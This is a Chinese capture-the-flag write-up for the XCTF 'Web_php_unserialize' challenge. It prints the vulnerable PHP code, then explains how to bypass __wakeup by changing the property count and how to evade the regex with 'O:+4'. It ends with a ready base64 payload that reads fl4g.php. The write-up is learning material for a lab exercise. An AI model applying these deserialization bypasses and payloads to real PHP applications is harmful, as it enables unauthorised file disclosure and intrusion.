CTFer成长记录——CTF之Web专题·攻防世界-Web_php_unserialize
一、题目链接
https://adworld.xctf.org.cn/challenges/list
二、解法步骤
本题考察的是反序列化,反序列化的题都需要审计php代码,步骤也比较固定。
<?php
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
从下面看起,首先需要用GET方式传入参数var,然后对其进行base64解密,然后进行正则表达式匹配,其匹配规则是出现[o]+数字,或者[c]+数字就会被过滤,最后反序列化。
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
构造参数主要看题目所给的类,首先题目给出,flag藏在fl4g.php里面,我们需要控制Demo类的成员变量$file,使其等于fl4g.php:$a=new Demo('fl4g.php')
;
PS:这里实例化对象的时候,由于是有参构造,需要在实例化的时候对成员变量进行赋值。
那么如果没有过滤,接下来就是序列化传参了,这里涉及到三个过滤:
第一个__wakeup()函数的过滤:wakeup()函数:发生在反序列化时,如果存在该函数,自动调用该函数。其漏洞是,如果序列化后的字符串中,表示属性个数的数字与真实属性个数一致,那么就会调用,否则不调用。首先看下,序列化后的属性个数:"O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";},其中表示属性的数字就是 "Demo":1,的这个1,意思是有一个成员变量。
绕过方式:$a=str_replace(':1:',':2:',$a)
,即将属性个数改成2个。
第二个正则表达式过滤:绕过o:数字:$a=str_replace('O:4','O:+4',$a)
第三个Base64加密:$a=base64_encode($a)
payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
三、总结
本题考察的是反序列的知识点,需要知道对象被序列化后的形式,然后需要知道__wakeup()函数的调用时机及其绕过方式,对于序列化的正则表达式的绕过方式可以积累下来。